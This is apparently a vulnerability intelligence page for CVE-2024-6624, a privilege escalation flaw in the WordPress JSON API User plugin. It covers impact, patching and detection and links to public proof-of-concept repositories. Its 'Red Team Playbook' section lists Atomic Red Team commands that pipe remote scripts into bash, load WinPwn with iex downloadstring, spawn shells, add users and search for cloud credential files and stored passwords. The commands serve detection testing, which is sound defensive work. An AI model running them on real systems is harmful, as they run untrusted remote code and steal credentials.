CVE-2024-6624
Overview
This vulnerability is a privilege escalation flaw caused by improper access control on custom user meta fields within the JSON API User plugin for WordPress. The root cause lies in the plugin's failure to validate and restrict modifications to sensitive user metadata during user registration or updates. The affected component is the user meta handling logic in the JSON API User plugin, which interacts with the WordPress user management system and depends on the JSON API plugin.
Vulnerability Description
The JSON API User plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 3.9.3. This is due to improper controls on custom user meta fields. This makes it possible for unauthenticated attackers to register as administrators on the site. The plugin requires the JSON API plugin to also be installed.
Impact
An unauthenticated attacker can exploit this flaw to register a new user account with administrator privileges on the affected WordPress site. This enables complete control over the site, including data modification, plugin installation, and user management. The attack requires no prior authentication and can be executed remotely over the network, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This leads to full site compromise and potential data breaches or service disruption.
Solution
Users should upgrade the JSON API User plugin to a version later than 3.9.3 where this vulnerability is addressed. Detailed patch information and remediation steps are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/a4a26f60-5912-4d4a-8ef8-e4357c1fb1ff. No official advisory ID is provided, but plugin source code updates in the referenced WordPress plugin repository fix the improper user meta validation. Removing or disabling the JSON API User plugin until patched is recommended as a temporary mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the JSON API User plugin for WordPress stems from inadequate controls surrounding custom user meta fields, which allows for privilege escalation. Specifically, this flaw permits unauthenticated attackers to manipulate user registration processes, enabling them to gain administrative access to the WordPress site. The issue arises from the plugin's failure to properly validate and sanitize input related to user roles, particularly when handling requests to create new user accounts. As a result, an attacker can exploit this weakness to register themselves as an administrator without any prior authentication, effectively bypassing the security measures that are typically in place to protect sensitive administrative functions.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious request to the registration endpoint of the plugin, including parameters that specify an elevated user role. Since the plugin does not adequately verify the legitimacy of the request, the attacker can successfully create an account with administrative privileges. This scenario could be executed by simply sending a well-formed HTTP request, making it accessible even to those with limited technical skills. Given that the plugin requires the JSON API plugin to be installed, the attack vector is further simplified for environments where both plugins are present, as many WordPress installations utilize these plugins for enhanced functionality.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on WordPress for their online presence. Gaining administrative access allows attackers to manipulate site content, access sensitive user data, install malicious plugins, or even take the site offline. Such actions can lead to severe reputational damage, loss of customer trust, and potential legal ramifications if user data is compromised. Furthermore, the financial implications can be substantial, as businesses may face costs related to incident response, recovery, and potential fines for data breaches. The high CVSS score of 9.8 indicates an urgent need for organizations to address this vulnerability, as the ease of exploitation combined with the potential for catastrophic consequences makes it a high-priority security concern.
To detect this vulnerability, organizations should implement monitoring solutions that can identify unauthorized user registrations and changes to user roles within their WordPress installations. Regular audits of user accounts and access levels can help in identifying any anomalies that may indicate exploitation of this flaw. Additionally, employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the application layer.
Mitigation strategies should focus on updating the JSON API User plugin to the latest version, where the vulnerability has been addressed. Organizations should also consider implementing strict input validation and sanitization measures for any custom user meta fields, ensuring that only authorized users can modify sensitive attributes. Furthermore, employing the principle of least privilege can help minimize the impact of potential exploitation by restricting administrative access to only those users who absolutely require it. Regular security training for developers and site administrators can also enhance awareness of such vulnerabilities, fostering a culture of security that prioritizes proactive measures against exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Parorrey | Json Api User | All |
cpe:2.3:a:parorrey:json_api_user:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2024-6624
JSON API User <= 3.9.3 - Unauthenticated Privilege Escalation
|
RandomRobbieBF | 3 | 1 | 2024-09-10 | View |
|
Jenderal92/CVE-2024-6624
This is a Python script that exploits the CVE-2024-6624 vulnerability in the JSON API User <= 3.9.3 plugin for WordPress...
|
Jenderal92 | 1 | 0 | 2025-02-06 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-6624 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/a4a26f60-5912-4d4a-8ef8-e4357c1fb1ff?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/json-api-user/trunk/controllers/User.php#L51 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/json-api-user/trunk/controllers/User.php#L187 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3115185/ |